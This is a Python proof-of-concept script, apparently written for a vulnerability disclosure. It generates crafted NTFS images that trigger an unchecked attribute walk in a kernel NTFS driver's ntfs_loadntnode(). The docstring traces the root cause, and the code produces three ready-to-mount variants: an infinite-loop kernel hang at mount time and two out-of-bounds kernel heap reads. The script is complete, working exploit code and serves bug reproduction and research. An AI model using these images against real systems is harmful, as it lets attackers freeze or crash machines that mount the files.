#!/usr/bin/env python3
"""
gen_ntfs_0787.py — Crafted NTFS images that trigger the unbounded attribute
walk in ntfs_loadntnode() (sys/vfs/ntfs/ntfs_subr.c:305-320).

DF-0787 root cause (confirmed by source trace):
  305:    off = mfrp->fr_attroff;                       // uint16 from disk, UNCHECKED
  306:    ap  = (struct attr *)((caddr_t)mfrp + off);   // ptr formed before any bound check
  ...
  310:    while (ap->a_hdr.a_type != -1) {              // deref of possibly-OOB ap
  311:        error = ntfs_attrtontvattr(ntmp, &nvap, ap);
  ...
  318:        off += ap->a_hdr.reclen;                  // uint32 from disk, UNCHECKED (no !=0, no <=recsz)
  319:        ap  = (struct attr *)((caddr_t)mfrp + off);
  320:    }

Allocation of mfrp is `kmalloc(ntfs_bntob(ntm_bpmftrec), M_TEMP, M_WAITOK)`
(line 263) — for our image ntm_bpmftrec = 8 sectors = 4096 bytes.

reachability at mount time:
  ntfs_mountfs() at sys/vfs/ntfs/ntfs_vfsops.c:393-403 calls VFS_VGET() for
  NTFS_MFTINO(0), NTFS_ROOTINO(5), NTFS_BITMAPINO(6) in turn. Each vget ->
  ntfs_vgetex -> ntfs_loadntnode BEFORE any directory lookup (so the
  DF-0786 lockmgr bug, which lives in ntfs_ntget on already-locked nodes
  hit during lookup, does NOT block this finding's trigger).

Three crafted image variants are produced, each with a single byte/word
corruption of the ino 5 (root dir) MFT record only:

  * loop   : the resident $INDEX_ROOT attribute's reclen field is set to 0.
             -> off never advances; the kernel while() spins forever
                consuming 100% CPU; mount(2) never returns.
             -> Impact: infinite loop / kernel DoS (CWE-835).

  * oob_a  : fr_attroff set to 0x0FF0 (well past the 1024-byte resident
             payload of the record but still inside the 4096-byte allocation).
             -> first deref of ap->a_hdr.a_type at offset 0x0FF0 reads bytes
                that were never part of the on-disk attribute list; whatever
                4 bytes happen to be there drive the walk. In practice this
                reads attacker-influenced or zero bytes; in either case the
                walk has NO relation to the actual on-disk attributes.
             -> Impact: OOB read (CWE-125) — the entire 4096-byte M_TEMP slab
                chunk is read past the legitimate attribute list end.

  * oob_r  : the resident $INDEX_ROOT attribute's reclen is set to a value
             larger than the remaining space in the MFT record (e.g. 0x1000).
             -> after the first iteration off = attroff + 0x1000, which is
                past the 4096-byte mfrp allocation. The next deref of
                ap->a_hdr.a_type reads adjacent kernel heap. If that byte
                pattern doesn't happen to be 0xFFFFFFFF the loop continues
                OOB, eventually faulting or wrapping around.
             -> Impact: OOB read (CWE-125).

Usage:  python3 gen_ntfs_0787.py {loop|oob_a|oob_r|all} [out.img]
"""
import struct, sys, os

# Re-use the proven minimal-NTFS scaffolding from the sibling DF-0786 PoC.
HERE = os.path.dirname(os.path.abspath(__file__))
SIBLING = os.path.join(HERE, '..', 'DF-0786', 'gen_ntfs.py')
sys.path.insert(0, os.path.dirname(SIBLING))
import importlib.util
spec = importlib.util.spec_from_file_location("gen_ntfs", SIBLING)
gen_ntfs = importlib.util.module_from_spec(spec)
spec.loader.exec_module(gen_ntfs)

# constants from the sibling generator (mirror its image geometry)
BPS = gen_ntfs.BPS
SPC = gen_ntfs.SPC
CLUS = gen_ntfs.CLUS
MFTCN = gen_ntfs.MFTCN
MFTRECBYTES = gen_ntfs.MFTRECBYTES
NUM_CLUSTERS = gen_ntfs.NUM_CLUSTERS

NTFS_A_INDXROOT = gen_ntfs.NTFS_A_INDXROOT
NTFS_FRFLAG_DIR = gen_ntfs.NTFS_FRFLAG_DIR


def build_mft_record_5_corrupted(mode):
    """Build the ino-5 (root dir) MFT record with a corrupted attribute walk.

    Start from the sibling's clean root dir, then patch it to trigger one of
    the three DF-0787 conditions. Everything else in the image is identical to
    the proven-mountable clean image.
    """
    clean = gen_ntfs.build_mft_record_5()
    rec = bytearray(clean)

    # In the clean image:
    #   fr_attroff lives at byte offset 20 (struct filerec layout).
    #   The first attribute begins at fr_attroff (=72 in the clean image).
    #   Its attrhdr.reclen lives at byte offset fr_attroff+4.
    fr_attroff = struct.unpack_from('<H', rec, 20)[0]

    if mode == 'loop':
        # Corrupt the FIRST attribute's reclen to 0 so the loop never advances.
        # The first attr is $INDEX_ROOT (a_type=0x90); its reclen sits at
        # fr_attroff+4. We keep a_type intact so the while() condition is true
        # and we actually enter the loop body (otherwise the bug doesn't fire).
        struct.pack_into('<I', rec, fr_attroff + 4, 0)   # reclen = 0
    elif mode == 'oob_a':
        # Push fr_attroff past the resident attribute list end (well inside
        # the 4096-byte allocation, so we don't immediately page-fault; the
        # walk instead reads zero/attacker bytes).
        struct.pack_into('<H', rec, 20, 0x0FF0)
    elif mode == 'oob_r':
        # Make the first attr's reclen absurdly large so off overflows past
        # the mfrp allocation on the very next iteration.
        struct.pack_into('<I', rec, fr_attroff + 4, 0x1000)  # reclen = 4096
    else:
        raise ValueError(f"unknown mode {mode!r}")

    # Re-apply fixups (the corruption is inside the resident attribute body,
    # not on a sector-boundary fixup slot, so the fixup signature still matches
    # and ntfs_procfixups() will succeed — which is exactly what we want: the
    # buggy walk at line 305-320 must be REACHED, not pre-empted by fixup fail.)
    return gen_ntfs.apply_fixups(bytes(rec))


def build_image(mode):
    img = bytearray(NUM_CLUSTERS * CLUS)
    img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector()

    mft_records = [None] * 11
    mft_records[0]  = gen_ntfs.build_mft_record_0()
    mft_records[1]  = gen_ntfs.build_mft_minimal()
    mft_records[2]  = gen_ntfs.build_mft_minimal()
    mft_records[3]  = gen_ntfs.build_mft_minimal()
    mft_records[4]  = gen_ntfs.build_mft_record_4()
    # ino 5 is the corrupted root dir
    mft_records[5]  = build_mft_record_5_corrupted(mode)
    mft_records[6]  = gen_ntfs.build_mft_record_6()
    mft_records[7]  = gen_ntfs.build_mft_minimal()
    mft_records[8]  = gen_ntfs.build_mft_minimal()
    mft_records[9]  = gen_ntfs.build_mft_minimal()
    mft_records[10] = gen_ntfs.build_mft_record_10()

    for i in range(11):
        off = (MFTCN + i) * CLUS
        img[off:off + len(mft_records[i])] = mft_records[i]

    upcase = gen_ntfs.make_upcase_data()
    uo = gen_ntfs.UPCASE_CN * CLUS
    img[uo:uo + len(upcase)] = upcase

    return bytes(img)


def main():
    if len(sys.argv) < 2:
        print(__doc__)
        sys.exit(2)
    mode = sys.argv[1]
    if mode == 'all':
        for m in ('loop', 'oob_a', 'oob_r'):
            out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_{m}.img'
            img = build_image(m)
            with open(out, 'wb') as f:
                f.write(img)
            print(f"[{m}] wrote {out}: {len(img)} bytes")
    else:
        out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_{mode}.img'
        img = build_image(mode)
        with open(out, 'wb') as f:
            f.write(img)
        print(f"[{mode}] wrote {out}: {len(img)} bytes")


if __name__ == '__main__':
    main()